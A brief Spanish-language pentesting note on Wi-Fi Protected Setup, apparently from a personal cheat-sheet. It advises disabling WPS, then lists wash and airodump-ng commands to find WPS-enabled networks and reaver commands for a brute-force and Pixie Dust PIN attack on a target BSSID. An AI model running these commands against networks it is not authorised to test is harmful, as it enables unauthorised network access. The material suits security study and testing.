WPS

Wifi Protected Setup

Es una funcionalidad básica que permite la conexión a una red WiFi escribiendo un PIN de 8 dígitos en lugar de una contraseña más compleja.

Es aconsejable tener deshabilitado el WPS en las redes :)

Obtener PIN

Para conocer si las redes hacen uso de WPS, tenemos 2 opciones:

1. Con wash

wash -i [wlan0mon]

1. Con airodump

airodump-ng -band abg [wlan0mon] --wps

Si tenemos una red con WPS versión 1.0, cogeremos su MAC (BSSID) y podremos ejecutar un ataque de fuerza bruta con Reaver

reaver -b [BSSID] -i [wlan0mon] -v
reaver -b [BSSID] -i [wlan0mon] -v -K

-K sirve para que sea más rápido el ataque realizando un PixieWPD attack

Recursos y enlaces de referencia

• https://github.com/t6x/reaver-wps-fork-t6x